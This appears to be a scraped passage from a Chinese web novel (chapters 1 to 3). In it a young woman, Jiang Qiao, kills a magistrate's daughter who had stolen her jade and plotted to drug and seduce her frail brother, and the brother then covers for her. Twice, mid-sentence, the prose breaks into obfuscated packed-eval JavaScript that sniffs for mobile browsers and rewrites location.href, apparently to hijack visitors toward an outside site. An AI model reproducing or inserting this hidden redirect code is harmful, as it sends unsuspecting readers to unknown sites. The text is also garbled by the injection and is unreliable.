《江有乔木》 1. 江乔 大梁新历九年，十二月初十。 这是一个好日子。 江州百姓争相上街，采买年货，一条来财街，早早挂上了灯彩，从街头到街尾都是一片热闹的喜气。 江乔单手拎着一个竹篮子，仗着身子娇小，很利索地从人群中钻了出来。 后头的人乌泱泱的，还挤着嚷着往店里头去。 殊不知，这最后一块徽州进来的墨，已到了她手里。 江乔轻轻挑了挑眉，不打算告诉他们这噩耗，只叫他们做这无谓的争夺去。 再站在人群外边，掀开盖在篮上的布，仔细点了一遍东西，便欢欢喜喜回家中去了。 兄长在三日前就来了信，说是今日能到江州。 他是出公差，这一走，就是两个月，中间并无信件往来。 这六十天里，江乔每每想到他孤身一人在外行走，就慌乱得吃不下饭。 从前二人都是形影不离的，鲜少分离，更别提六十天，两个月！ 可时日一久，饭不得不吃，慌乱咽到了肚子了，成了闷气，又忧又气，短短六十日的牵挂，硬是叫她愁老了几十岁，活成了一个皱巴巴的老太婆。 这下好了，他回来了。 自己也不用每日对着铜镜愁眉苦脸。 江乔决定，等见了江潮生，先把这难得的徽墨给他，等吃完饭，要好好数落他一顿。 江乔迫不及待地回到家中，刚推开门，迎接她的，是一个从屋内飞出来的空竹筐，没砸到她身上，提前落下来了，又往地上滚了几圈。 屋子里不断传来狗吠声，家中的大黄平日不会这样叫，除非见了外人。 她抓过竹筐看了眼，见只轻微变了形后，气势汹汹拎在手上，就屋子里头冲。 屋子里头是乱糟糟的一片，本放在桌上的匣子倒在了地上，本该在衣柜里的衣物洒在床边…… 果然是来了不速之客。 大黄见了她，立即转了身，溜到江乔身边打着转，那熟悉的身影也转了过来。 江乔往身后藏着竹筐。 竹筐大，身子小，没藏住，还撞到了大腿，直接掉在了地上。 “呦，这不是江乔吗？”罗慧娘轻飘飘望她一眼，将手上那串银链子抛回桌上，又很嫌恶地拎起了裙摆。 “刚才有只老鼠蹿了出来，吓我一大跳，你瞧见了没？”由上至下扫着江乔，又问，“我来你家宅子逛逛，不会有意见吧？” 江乔抿着唇，轻轻踢了踢那不争气的大黄一脚。 “怎么不说话？”罗慧娘又问。 江乔挤出一个笑：“怎么会呢？是要欢迎你的。” 这两室的院子，即使在江州，也要花上大几百两银钱才能买下。 他们兄妹二人能住这儿，全依赖于罗慧娘的亲爹，那位爱惜人才的罗太守慧眼识珠，收留了他们。 在此之前，二人居无定所，四处流浪，这一点，人人知晓，才更显得罗太守这份恩情的可贵。 既然是寄人篱下，就不能不忍气吞声。 对于罗太守千娇百宠的小女儿，她也只能尊着、敬着。 江乔放在身侧的拳头握紧又松开，垂着眼问：“慧娘，你今日来这儿，是有事吗？” 罗慧娘轻轻冷笑了一声，目光扫了眼江乔，再次掠过这一览无余又穷酸的屋子。 “几个月前，父亲送了我一块暖玉，我本想拿来打簪子的，可今日一找，怎么都找不到……”罗慧娘定下步子，双手抱在胸前，微微扬着下巴，“你知道在哪儿吗？” 江乔压着气：“总不会落在这个院子里头，平日里，你也从不来此处的。” 罗慧娘轻松俏皮地答，“是啊，我不来这地方，但保不齐有人手脚不干净！” 她骤然正了正面容，捏着绳，抬起手，绳子末端上，赫然是拇指大的一块白色暖玉。 “瞧瞧，这是什么？”十足得意，不像是抓住了贼，更像是要青史留名了 “这是兄长送我的。” 江乔压低声，握起的拳更紧了几分。 也是几月前，江潮生替罗太守解决了一件难办的案子。 最后抄家时，从惹事的富商家中找到了两块成色不错的暖玉，其中一块便被罗太守送给了江潮生。 隔着两三步的距离，江乔清晰看出，那块暖玉就是自己的。 都是未雕琢的暖玉，有着天然的形状。 罗慧娘耸肩：“谁知道是江先生送你的，还是你偷的呢？” 她说着，将那块暖玉又捏回了手心，再次饶有兴致的打量着这个屋子。 这间屋子，虽放着江乔的梳妆台、衣柜、嘴零篮子，但并不是她的屋子。 而是江潮生的。 江乔的寝屋在隔壁，是因她长成大姑娘了，江潮生认为，该给她一个单独的屋子。 只那间屋子只容得下一张床榻，二人便将其他的东西，放到了这边来。 罗慧娘显然打算一箭双雕，在拿了她的玉后，才不依不饶地留在这儿。 时而翻翻那些显然是男子所穿的，素净衣物，时而又站在桌边，赏着那未做完的水墨画…… 就在她从书桌最深处掏出一叠旧纸张，正准备翻阅时，江乔高声:“罗小姐，天黑了，您还不走吗？” 罗慧娘看了看窗外，天色分明是白的，不耐烦道：“急什么？” 难得来江家兄妹二人的院子，她自然要好好逛逛，看看那表面光风霁月的江公子背后，会不会藏着同寻常男儿般的，有趣的，腌臜心思。 况且，藏在了这样隐秘的地，势必是不能随意见人的东西。 罗慧娘的手落在了第一张纸上，可惜上头只有一篇新作的文章，她看不懂这些大道理，可因为这一手字，遒劲有力又不失方正工整，她愿意耐心的且囫囵吞枣地瞧。 江乔快忍无可忍了。 她低下头，与脚边的大黄对视了一眼。 这只狗，是路边捡来的，好饭好水地养了一年，也养得膘肥体壮，尤其一口牙，能直接把肉骨头嚼碎。 江乔想，如果叫它去咬罗慧娘一口，它定然听话。 但是…… 事后呢？ 江乔抬起一双又大又深的眼，幽幽地看着浑然忘我的罗慧娘，心中生出了一个坏主意。 一个不完美的坏主意，唯一的好处，是能叫她出一口恶气。 但人嘛，活着就为一口气。 还不等她的坏主意成型，大黄冲着门外，低声吠了起来。 并不是先前对外人的急躁，更像是一种，习以为常式的，欢喜的叫。 “能叫它别叫了吗？”罗慧娘烦躁地喊，刚抬起头，却见到了翩翩一人。 若说江乔是一个有人喜欢，有人讨厌，两极分化的小美人，其兄江白，则是一个不折不扣的大美人。 不瞧其这疏窗孤影般的眉眼，只看这彩云似得魂与魄，人人便不敢高声言语，生怕吹散了这易碎的美人。 这美人低下身，不轻不重摸了摸大黄的脑袋。 可这黑狗，不知美丑，也不识好歹，在被摸了两下后，就摇了摇脑袋，挣脱了江潮生的手，溜回了江乔身边。 江潮生只笑了笑，走到妹妹身前，略含疲倦的漂亮眉眼间，含着温柔的浅浅笑意，唤了一声：“滟滟。” 这是她的小字，向来只有他会唤。 原先想的那些，久别重逢的欢喜，精心准备的大餐……都泡汤了。 江乔恹恹的“嗯”了一声，算是打招呼。 江潮生自然不会恼，只缓缓上前，不动声色捏了捏她握紧的拳头。 江乔下意识松开了手。 等再看江潮生时，他已上前抽去了罗慧娘手中的纸张。 一目十行扫过，江潮生云淡风轻道：“若罗小姐喜欢在下的文章，改日，在下另做一篇，送到贵府上去。” 罗慧娘已没了方才的嚣张，一双大眼胡乱地瞟，就是没好意思直接落到江潮生瓷白的面庞上，连声音也弱下来几分，带了一丝娇气，“江先生的文章，自然是极好的。” “只是不知……江先生怎提前半日到了江州？” 按起初的计划，江潮生该是在半夜时进入江州，且先去罗府，面见罗太守。 “归家心切。”江潮生坦荡道。 罗慧娘更是含娇带羞，几次望向江潮生的眸光，恨不得串上些珠子、金粒，好闪闪发光。 江乔站在不远处，冷冷望着。 终于，到了江潮生有意请客离去的一句：“不知罗小姐，今日光临寒舍，是为何事？” 罗慧娘眸子闪得更快，估计是不经过脑子的一句话：“我在寻我丢失的那块暖玉。” 江乔一颗心，猛地一跳。 果不其然，这光长身子，不长脑子的蠢货，已欲盖弥彰的，将原先那番说辞说了出口。 为了叫自己继续当冰清玉洁的罗家小姐，她自然不会再拿出那块玉来。 江潮生的余光轻而淡地落至江乔身上，那松开未多久的手，又紧紧捏在了一块。 “罗小姐找到了吗？”他问。 罗慧娘慌不迭：“已经找到了。” 这是明晃晃的栽赃陷害，到了这时候，她也怕被拆穿。 可江潮生只是垂下了那又黑又密的羽睫，还是很客气地道：“那就好。既然如此，罗小姐就能安心归家了。” “是的是的。”罗慧娘重重松了一口气，不忘挑衅似得向江乔投来一眼，可没有再揪着这事不放，言多必失的道理，她竟也知晓。 江乔垂着眼，面色平静，继续安静着，受气着，不知反抗的。 可等罗慧娘被连哄带骗请走。 这天生的养气功夫，就不见了效用。 罗慧娘刚刚娇怯地挥了挥手，江潮生关上了院子的门。 江乔马上夹枪带棒的，来了一句话：“还是你的美色好使，当真是，何意百炼钢，能叫化指柔。” 她立在屋子外边，身子是小巧玲珑，孩子气的。 就连这话，也是孩子气。 江潮生笑着上前，拿起她的手，不紧不慢将她的五指松开：“滟滟也是学会了新诗？” 那掌心，已是被她的指甲扣出深深的几条，看着叫人心疼。 “用湿帕子敷敷。”江潮生道，“小心留疤。” 江乔挥开了他的手，转身回到了屋子。 屋子里头，还是极其凌乱无章的。 她本不想发火的。 是忍不住。 江乔听到自己的声音，像是从嗓子眼里挤出来的，断断续续，带着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我已租下了一处院落，差人在打点清扫，等到了长安城，便可直接入住。再过些日子，滟滟可以出城赏花，也能关上门，做个闲散富人……”江潮生将地上的纸张全部捡起了，再一张张查看，归拢收拾。 忽而笑道，“当真是受大委屈了，一边咬牙切齿了，一边还巴巴落着泪珠子。” 他放下手中纸张，轻轻擦着江乔的脸蛋。 “还生气吗？” 江乔：“有点？” “别生兄长的气，好不好？” “下不为例。” 江潮生被轻易逗笑，可笑了两声后，就开始连连的轻咳，身子像是破窗，稍有点动静，就呼呼作响。 江乔立刻急了，上前去，轻轻拍着他的背。 “有寻过医师吗？京城的大夫，总该好一点。” “还未，滟滟眼光好，等滟滟为兄长寻医问药。” 江乔小小白他一眼。 知道这是借口，他是这样的，只顾着整日忙活，从来顾不得自己的身子。 江乔忍不住红了眼眶，是生气，也是难过，说不清哪个更多一点。 她和兄长，在外流浪了多年，住过破庙，也和乞丐抢过地盘。 有时候，会怨天尤人。 可更多的时候，心中是有个宽慰的。 因凡事，顶在前头的，是作为兄长的江潮生。 正如那年，极寒，北边雪崩了三月，破庙中挤满了人。 中央的篝火，只有微弱的一点，暖不了多少的人。 兄长就带着她，挤在了最里边，一个很阴冷的角落。 二人身上，都只有薄薄一层衣物。 是兄长，将她整个的抱在了怀中，替她挡着寒风。 她说一句，兄长应一句。 她说千句，兄长应千句。 记得有一次，她又说了什么，兄长久久不应声，她心中怕，哭出来的泪是热乎的，而兄长的手是冰凉的。 她真怕，兄长被活活冻死。 可刚一挣扎，就被重新拉到了暖和的怀抱中去。 几个月过去，她还是生龙活虎，兄长却落下了病根，成了一个肩不能提，手不能抗，走两步要喘三下的病秧子。 其实，有兄长陪在身边，她无所谓受点委屈的。 况且，她也不觉得，自己会一直受委屈。 是到了点，各处都起了炊烟。 虽有些插曲，但也过去，兄妹二人准备享用精心准备的团圆宴。 江乔想起了今日采买来的礼，走到井边，拿起那竹篮子，掏出了一个碎布编制的棍子，扔给大黄咬着玩，再是拿出包装得严严实实的徽墨，准备送给江潮生。 她想着，忽而抬起头，望向了院子外边，夜色深了，路都瞧不清晰，更别说瞧见罗慧娘的身影。 但她就是望着，淡色睫毛，深黑眼眸，都一动不动。 屋内，江潮生又呼唤了她一声，是做好了饭菜。 江乔收回视线。 一边哼着不成调的歌，一边无声告诉自己，这件事，还没了呢。 2. 杀心 江潮生任职的文书终于下来了。 江家兄妹二人不日就要启程前往长安城，众人得知此事后，在为这对无父无母的兄妹感到欢喜之外，又不免悲伤别离。 因而，由罗太守出资设宴，广邀二人在江州的同僚、好友，为其送行。 送行宴在江州猎场举行。 十多年前，大梁皇帝是马上打下的江山。 旧日的荣光并未遗忘，如今上至达官显贵，下至黎民百姓皆是尚武崇射。 当下猎场上，无需刻意调动气氛，便足够热闹。 骑马，狩猎，围炉谈话…… 各路官员挥洒着汗水，谈笑间，是江山万里，各地风光，美人美景。 各色旌旗里，江乔带着一点得体的笑，垂着脑袋，悄无声息的从人群中穿过。 今日的她穿了一身嫩黄色的骑装，衬上那张小而精美的脸蛋，活脱脱是一个细心捏造的瓷娃娃。 又有谁，会把易碎的瓷娃娃主动带到飞马流风的草地上去呢？ 江乔虽不爱骑马射箭的事，却也不愿被人当做了幌子。 可既然当了幌子，就必须当一个漂亮标志的幌子。 走入帐子下边，有几位面熟的官吏接连向她打招呼。 江乔一一回应。 目光掠过众人，江乔寻见了坐在最里边的兄长，在一群冒着热汗的男子中，独独他一人未穿骑装，白衣宽袖，是雅士之风。 江乔喜欢他的干净。 江乔凑了过去，先是摸了摸他的手，再是触了触酒壶的外壁。 手是温热的，酒也是。 十二月底，天冷风寒，她怕兄长在寒风里头坐久了，着凉受寒。 “滟滟是不放心我吗？”江潮生声中带着轻笑，他饮了酒，面上终于带上了点红，眼波流转间，成了活色生香的美人。 左右的人，要么各自去打猎，要么三三两两聚在一起谈话。 在这样的场合，体弱多病的江潮生和江乔一样，都成了一个干脆的靶子，不能触的霉头。 “会头疼嘛？”江乔关切问。 一到冰寒的地，江潮生旧疾便要发作，到这时候，只能靠饮酒压抑着。 他摇了摇头：“不会。” “那就好。”江乔答，掖了掖盖在他膝上的薄被。 罗家富贵，这猎场上，不缺好酒。 但大部分人为了彰显自己的英雄气概，宁愿夹着屁股找茅房，也要喝冷酒。 想到那些人，江乔碎碎念念：“这罗太守真是好能耐，怪不得能屹立不倒多年，说是为你我送行，结果……” 她想说些更直白的话，但清楚隔墙有耳，只冷笑一声，又手脚利索地为江潮生温了两壶酒。 江潮生只微笑望着她。 江乔又细细叮嘱了几句，是人人都知道的事，但她习惯了一条一条说。 “滟滟是把兄长当做了孩子呢。”江潮生笑。 江乔斜了一眼，“省得哄我。” 兄妹二人到了如今，早说不清是谁拖累谁，谁照护着谁。 也没必要说清楚。 确定一切齐整了，江乔站起身。 “你要去哪儿？”江潮生轻声问。 往常这种场景，她只会留在他身边。 江乔从一旁的包裹里头，抽出来一条半新的马鞭，面上带着一点笑意，眸子闪着一点细碎的光，于是眼眸中的黑愈发黑，白愈发白。 “兄长等我回来就好。”江乔再次笑了笑。 江潮生若有所感：“猎场人多眼杂，莫要多事。” 江乔扬着笑答：“怎么会？” 她本想上前抱抱兄长再离去，就如从前。 可又想起，兄长上次说过什么男女有别，叫她守规矩。 江乔倒也不是顾忌什么规矩，只是不愿兄长起身受凉，于是就立在不远处，弯下膝盖，做了一个不大标准的礼，转身离去。 江乔按时到了马厩处。 这次邀请，是罗慧娘遵从其父要求主动提出的，但她没有准时到。 不足为奇。 江乔有足够的耐性。 直到那阵熟悉的铃铛声响起，江乔抬起头，却不止见到了罗慧娘一人。 “你不会，真以为是我同你二人游猎吧？” 罗慧娘一手折着自己的新马鞭，上头的金铃铛清脆作响，而其身边高挑一人，正是她的闺中好友。 “周三小姐。”江乔礼貌问好。 对方是第一次见她，但显然听说过她：“江白之妹？倒是……不是很像。” 言语之中，是显而易见的大失所望。 江乔仍然端着笑。 罗慧娘瞥了几眼，就拉过周家小姐去挑马匹，一边选着，一边说：“我就跟你说了，这丫头，惯会装模作样。” “他不来吗？”周三小姐心心念念的还是江潮生。 罗慧娘倒是知道一些内情，也没什么不敢说的，直言：“他那身子骨弱，骑马？别是被马儿拽着跑。” 周三小姐意外：“真如此虚弱吗？” “还不止呢。” 二人一阵笑。 江乔安安静静地在二人身后跟着，不抬头，不作声，唯独在听见兄长的名字时，身边的拳头忍不住颤一颤。 她讨厌兄长被人当做谈资。 但因二人谈论江潮生太多，听到后边，已心如止水。 三人各自选好了马，就往外头的草野狂奔而去。 罗慧娘和周三小姐自幼就在马背上玩耍，到这个年纪，成了不让须眉的巾帼。 二人驾马驶了七八里，畅快淋漓，相视一笑，转身一瞧，江乔是勉强跟上来了，但发髻散了，骑装乱了，额头布着一层薄汗，唇都发白。 “继续吧，这才多远呢。”罗慧娘朗声。 周三小姐对江乔倒是有几分爱屋及乌的担忧，可实在不在不多，在好友催促了两声后，又甩下马鞭。 二人到了猎场边缘，这儿猎物不多，很少有人会主动过来。 “就这儿吧。”罗慧娘主动提出歇歇，叫身下马儿放慢了步子。 周三小姐应答。 这时，身后又传来凌乱的马蹄声，是江乔。 罗慧娘意外。 二人本想甩开她，但她既然跟上来了……也没什么的。 她知道江乔是个长年扮乖巧的货色，但也知道，在她们面前，她只能装着演着，继续当个小心谨慎的小跟班。 要紧的，是自个人的事。 罗慧娘直接了当地说：“江白要去长安城了，你不难过？” 周三小姐也没有什么好羞涩的，轻轻点点头，“自然难过的，那日中秋，远远瞧他一眼，我便倾心了。” “中秋吗？” “是啊，那年中秋，在你家做客的时候，他为我捡起了帕子，又亲自送来，还给我了。”周三小姐笑意羞涩。 罗慧娘从好友口中得到了早知的答案，心里头的苦和涩，泛到了嘴边，“他倒不值得你如此挂念，只一个无功名在身的书生而已，一穷二白，家徒四壁，还带着个拖油瓶，唯独一张脸蛋拿的出手些……终其一生，都是给人当奴才的货色。” 江乔倒是不意外她这番话，照旧捏着缰绳，不叫自己轻易跌了下来，而心里一些念头，是雨后的山峰，再次显出了形状来。 是周三小姐还顾及江乔在场，用胳膊轻轻戳了她一下：“也没那么差……况且，你不也是？” 也是什么？ 无非是少女情思。 罗慧娘安静许久。 罗慧娘定下心思，若无其事开口：“叫他这样离开，你舍得？” “你什么意思？” 又是良久静谧。 唯有冰雪融声滴答。 “你也不想，就这样叫他离去吧？我们无非是爱他貌美、身长、仪态端庄，若春风一度……我们也算了却心愿。” 周三小姐愣神，下意识反驳：“不行的，他不会答应的。” “男子动情，又不是非要两情相愿。”罗慧娘直直看向她。 这是苦思冥想许久的计划了，她说得并不艰难。 狄人入关不过十余年，整个大梁朝由上至下，虽无了从前父死子继的陋俗，但较从前大周时，还是开放了许多。 正如富家纨绔可劫掠贫家美人。 她们权贵出身的小姐，亦能使一些手段，与心爱的男子，一亲芳泽。 恰好，罗慧娘有许多同样顽劣不堪的兄弟，有前人的指导，不怕她们成不了事。 周三小姐纠结不语。 “喂，江乔，你来说说，如此一来，你兄长也算占了便宜吧。否则，就你兄长的情况，顶多能娶我们身边的粗使女仆。”罗慧娘眨着眼，掩饰心里的慌乱。 绑架，下药，还拉上周家小姐作陪。 万事俱备。 就算哪日东窗事发，人人也只会指责是身为男子的一方，得了便宜又卖乖。 若当事人不是自己那位弱不禁风的兄长，江乔会真心觉得，这是一个万无一失的好法子。 “嗯。”她低下头，翻身下马，主动替周罗二人牵着马，喂了一些随身携带的粟麦。 罗慧娘松了一口气，接下来只要瞧周三小姐愿不愿意当这个同盟，“你觉得，他能记住你几分？或许有个模糊映象，那你总不愿，他彻底忘了你吧？” 片刻后，这位婉约的周三小姐，点了头。 二人成了同盟，亲近更胜方才，就悠悠骑着马，沿着这片林子逛着。 罗慧娘细细将全部的计划告知周三小姐，心头一桩心事落了地，只觉天朗气清。 忽的，一声惊呼从二人身后传来。 是江乔从马上跌了下去。 她本就不擅长骑射，体力不支，跌倒受伤，也是情理之中。 罗慧娘不紧不慢地下了马，看着周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526448|186317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三小姐慌慌张张跑了上去。 “你怎么样了？”周三小姐急忙问，她不懂医理，只瞧江乔裸.露在外的擦伤，就觉骇然。 江乔身子蜷缩在了一处，双手抱着左腿，小声呼喊着，“疼……疼……” 看来是真的疼狠了，那脸蛋都皱在了一块。那些擦伤也狰狞，沁出了滴滴的血珠。 罗慧娘居高临下望着，淡淡道：“好像是摔断了腿？我家中那个马奴就是这样的。” “怎么办？”周三小姐问罗慧娘。 罗慧娘将这给问题抛给了江乔：“怎么办？你能骑马回去找大夫吗？营地里该是有大夫的。” 江乔这模样，连行走都困难，更别说骑马。 周三小姐提议：“我们快马加鞭回去，去叫人来吧。” 三人之中，罗慧娘骑术最佳，若是她的话，来回营地不过小半个时辰。 她眼眸轻轻一转，一句风凉话就出了口：“那你去吧。我在这儿看着她。” 连理由都没扯一个。 若换作旁人，这时候听见这话，早该心凉了，但江乔和罗慧娘往来整整一年，早知她的脾性，当下就握住了周三小姐的手，轻轻柔柔地道：“好姐姐，好嫂嫂，求求你，帮我跑着一趟吧。” “好好好。”周三小姐神色慌张，但没有推脱，“你且等我。” 又叮嘱，“慧娘，就请你先照看着江小姐。” 说完，她急急忙忙上了马，一路扬长而去。 此地，只剩罗慧娘和江乔二人。 又过去了片刻时日，天色都暗了下来。 江乔蜷缩在一旁，额间不断落着冷汗。 “你是真痛，还是装的？”罗慧娘上前，踢了踢江乔一脚。 江乔没动静。 罗慧娘一抿嘴，又轻轻踢了一脚，还是不见她动弹出声。 她本有痛打落水狗的意思在，但这落水狗被打了也一动不动，叫她觉得无趣……又害怕。 她厌恶江乔，无非是因一点女儿家的嫉妒心。 但叫她真看着一个人活生生死去……她绝无这样的胆子。 “你还好吗？你说句话！”罗慧娘蹲下身，探出指尖，就像是被火燎了一般，匆匆收回。 她竟未感知到江乔的呼吸。 罗慧娘跌倒在身后厚厚的落叶堆上。 没觉得疼，只剩下怕。 她手脚并用，狼狈起身，匆忙找到马匹，刚牵过缰绳，后脑勺便被重重一击。 罗慧娘痛得眼前花白，身子再次倒在地上，恍惚间，她看见树冠之间的一轮白月亮，还看见月光下，一张同样白皙的小脸。 “别——”罗慧娘爆发出一声撕心裂肺的喊叫，“不要！” 江乔就定定望着她，颤巍巍举起那块大石头，不假思索砸了下去。 一下，两下。 等见罗慧娘彻底动弹不了了，她就生拉硬拽过她的身子，拖到一旁，不忘再捡点落叶，掩盖了这地上的血渍。 江乔心如止水。 她从不是什么乖巧角色，有仇报仇，有怨报怨，这是她一贯以来的准则。 虽说，这独自杀人是第一遭。 但瞧着罗慧娘所作所为，桩桩件件的，都在她脑袋里头戳着、踢着，早叫她忍不了了。 她的兄长。 她那样清清白白的兄长。 她竟想陷害他，败坏他的名声！ 江乔面无表情，一路走，一路停，将罗慧娘拉到了远处，那里树下，有一个深坑，是她早就选好的地方。 坑里头，有不少动物的骨头和血肉，她小心观察过几日，这是狼群藏食的地。 狼群现在避着猎场的人群，全躲到了山上，但……迟早要下来的。 届时，罗慧娘尸骨无存。 江乔用尽全身的力气，重重一甩，将皮青脸肿的人扔到坑里。 她没有立刻转身离去，也跳下了坑，细细摸索着罗慧娘身上的物件。 一袋碎银子，那包迷情的药物…… 江乔蹙起了眉。 她没有找到，自己被抢夺去的玉。 那是兄长送给她的玉！ 必须要找回来。 江乔干脆解开了罗慧娘的衣物，打算重头到尾，再仔细瞧瞧。 可这时…… 两处都传来了动静。 手下，来自罗慧娘的微弱心跳。 身后，渐近的，干枯树叶被踩碎的声响。 江乔顿了顿，手心出了一层薄薄的汗，缓慢转过头去。 月光下那一人，是几乎全白的一道，冷白的肤，月牙白的衣，唯独唇是红艳艳的。 叫人以为，是哪儿爬出来，经年未腐的一具艳尸。 “兄长……” 江乔听见了自己叫唤声，轻轻的，微颤的，她下意识把双手往身后藏去，连带着扬起了一个浅浅的笑意，又有冷汗，恰是从额间落到睫上。 3. 身世 江乔的人，是极其小巧一个，大多数人见了她，都不忍心差遣她做辛苦事，且有个事事站在前头的兄长，让她纵有许多力气，却无处可使，只好将全部心力放在盘算上。 可她算了千遍万遍，唯独没想到，江潮生会出现在此。 江乔愣了愣。 不同她，兄长是个正人君子，多“正”不好说，至少不会像她一样，满肚子坏水。 可毁尸灭迹是来不及了，狡辩再多也抵不过眼见为实……她站在原地，抿着唇，大有一种破罐子破摔的意思。 江潮生徐徐走上前，视线扫过，在罗慧娘的脸上停顿片刻，随后挪开。 又注意到江乔手臂上的擦伤，缓慢蹙起了眉。 “疼吗？” 因他是一人摸黑前来，徒步许久，不可避免侵染了寒气，声中带着一点显而易见的涩。 “不疼。”江乔答。 她是故意从马上跌下来，专选了积了很多落叶的地。 江潮生简单检查了一下，确认她并无大碍后，才缓缓问，“什么时候的事？” “就方才。”江乔闷声。 江潮生的目光又落在了她身上，轻轻柔柔的。 江乔意识到，兄长所问的，是她何时开始筹谋此事，顿了顿，又吐出一个日子。 是刚知晓，罗太守要为他们兄妹二人设送行宴的日子。 也是，再无一地，比这危险丛生的猎场，更适合杀人藏尸。 也再无一个时日，能比人多眼杂的今日，更能浑水摸鱼。 而她的计划内容如何，又是如何准备的，并不难推测，对于今日场景，江潮生并不吃惊，唯有一丝惊讶，是江乔能将一切瞒得严严实实。 就连他，也差点被瞒了过去。 不，还有些许细枝末节，并未做到尽善尽美。 正如方才，与他迎面相见的周三小姐。 若不是他恰好赶来，看到此情此景的，就不止一人两人了，到那时，无论江乔躲避得再快，都难逃一顿问话。 江潮生凝眸，“你方才在寻什么物件？” 江乔犹豫一下，实话实说：“那块玉。” 江潮生微不可闻地叹息。 江乔抬起眼，小心张望：“兄长在生气吗？” 江潮生很早之前，就告诉她，不许惹是生非了。 今日事，的确是她被抓了个正着。 若为了叫兄长原谅她，她……可以道歉反省，反正罗慧娘是醒不来的。 江潮生缓缓摇头。 江乔就见着，自己许久未寻见的玉，被兄长从怀中拿了出来，她惊讶：“兄长……怎么在你这儿？” 江潮生不语。 一点温润的白，躺在他手心，其实不是绝佳的玉，如此一瞧，就更明显了。 颜色不够好，底下有杂质。 罗太守随手给的奖赏，以为他们出身贫寒，并无见识，便拿来糊弄他。 只是因为，他们现在有的东西太少，所以才会叫江乔一直心心念念。 江潮生以为，她要的，是这个。 事实上，江乔的的确确打算夺回来。 “兄长。”江乔喃喃。 “下次不许涉险了。”江潮生轻声，“等回去后，把你身上这套衣物收拾干净。” “好。”江乔一口应下，又问，“还有旁的吗？” “走吧，回家去。晚些时候要下雨，宴会结束了，租的马车就停在帐子后边。” 见她应得畅快，江潮生轻轻捏住她的手抬起，将那块玉放到了她掌中，江乔立即握住了他的手。 少女亮着黝黑的眸，带着一点藏不住的笑意。 江潮生无奈，再次提醒，“下回，不允许做如此危险的事。” 江乔晃着手，“好的好的，反正我每每做坏事，都逃不过兄长的眼睛。若再有一次，你只管罚我。” 她知道，他不舍得。 二人手牵着手，一同往回走，两道背影被拉长，映在重重的树影中。 一人是天山的云月，宁静悠远，一人是急乱的风，肆意欢闹，忽的，江乔起了闹心，嬉嬉闹闹缠着兄长，要他背，像是从前一样。 江潮生对她向来无可奈何，弯下腰来。 “算了算了。”江乔没想到他答应这么快，反而不好意思。 她不是孩子，也长了不少份量，路还远，总不能一直累着兄长。 她要懂事。 江乔笑眯眯的。 二人一路往前走。 谈天谈地，家长里短。 江乔是回到家中后，才想起了罗慧娘。 她将剩下的饭菜搅拌在一处，倒在一口破的海碗中，大黄摇着尾巴上来，三两口就舔干净了，开始围着她打转，还不断用鼻子拱着她的小腿。 “没了没了，再说……你也吃得太胖了些。”江乔靠着台阶坐下，一把将大黄抱在腿上，若有所思。 从猎场回来，已经过去了一日。 应不是她的错觉，那时的罗慧娘还有心跳，该是活着的， 怪自己，怪自己因兄长的出现慌了神，忘记最后补一刀。 这是她的疏漏。 但是……罗慧娘活不下来吧？ 江乔冷淡地想，明确，当时自己用力砸的几下，足以叫她头破血流，就算她当时侥幸没死，也该是半死不活了。 一个半死不活的人，独自在荒郊野外，是眼睁睁看着自己血流尽而死呢？还是被狼群分食而死呢？ 但万一没死呢？ 总有人，有十足的好运，或十足的霉运。 江乔一下一下摸着大黄的脑袋，心里拿定了主意。 “好啦好啦，再给你去找找吃的，你再这样馋下去，哪一日兄长的月薪不够花了，我就只好把你炖了吃。”江乔阴阴地笑。 可惜这大黄看不懂脸色，不懂怕，只一味地摇尾巴，江乔的恐吓落了空，她自讨没趣，拍了拍身上的灰，就转去了灶台。 江乔在小厨房里头，正将砧板剁得“噔噔”乱响，一根沾着血的肉骨头，被砍了七八刀，但还是完整的一根，只多了一点无伤大雅的痕迹。 砍到后头，她手酸了，就不砍了，直接整根扔给了大黄。 大黄尾巴摇得更快，叫人以为，它要摇断了尾巴，好自己吃一嘴，填饱肚子。 果然是狗。 “你个不知足的。”她评价。 江乔用皂子洗了手，望了望院子。 她彻底明白了。 想知道罗慧娘是死是活，自己亲眼瞧瞧就知晓了。 若死了，可以给句祝福。 若还活着，就送她去死。 倘若罗慧娘还半死不活着，罗宅必然先收到消息。 江乔站在罗宅侧门处，轻轻敲了敲门。 开门的是一个粗使婆子，这婆子无子无女，和他们这对无父无母的兄妹恰好能凑到一块，从前就很喜欢他们。 也是为数不多，正眼瞧过江乔的人。 江乔过来，就是专程找她的。 未想到，这婆子开口就道：“江小姐，你快走吧。” 江乔目光一冽，面上还带着天真笑意：“乔妈妈，是发生了什么事？” 乔妈妈犹犹豫豫的。 “是什么要紧事吗？”江乔继续问，也适当带上了急色。 她否决飞快：“不是。” 这说出来的话，与她的神色，全然不符。 到底是非亲非故，不会毫无保留，江乔谈不上失望，只眸光冷淡了几分，轻轻巧巧地抛出话，“我同兄长明日就要离开江州了，罗太守、罗夫人于我们兄妹二人有恩，我想着，亲自来道一声谢。” 其实这话，是有显而易见的漏洞的。 假若她真心想来致谢，为何是孤身一人？ 乔妈妈忘了，在外头，江乔是个离不开兄长的小姑娘。 而罗家当家做主几人，也顾不上她，才叫江乔趁乱而入。 罗宅是真的乱了。 上至罗太守，下至丫鬟小厮，都忙忙碌碌的，江乔连一杯茶水都没喝上。 不过，她本就不是来喝茶的，自然不会在意这么多。 江乔趁着众人都顾不上她，一个人从小厅溜了出去，无 